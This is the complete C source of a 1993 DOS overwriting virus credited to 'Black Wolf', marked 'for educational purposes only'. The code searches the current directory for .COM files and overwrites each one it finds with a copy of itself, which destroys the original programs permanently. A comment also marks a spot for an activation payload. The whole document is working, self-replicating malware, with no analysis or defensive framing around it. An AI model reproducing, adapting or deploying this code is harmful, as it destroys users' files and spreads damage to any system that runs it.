/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */
/* It was presented in Virology 101 (c) 1993 Black Wolf */
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */

#include <stdio.h>
#include <dos.h>
#include <dir.h>

FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;

main()
{
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
while (!done) /* Loop for all COM's in DIR*/
{
printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
Virus=fopen(_argv[0],"rb"); /* Open infected file */
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */

x=9504; /* Virus size - must */
/* be correct for the */
/* compiler it is made */
/* on, otherwise the */
/* entire virus may not*/
/* be copied!! */
while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/
done = findnext(&ffblk); /* go for another one. */
}
/* Activation would go */
/* here */
return (0); /* Terminate */
}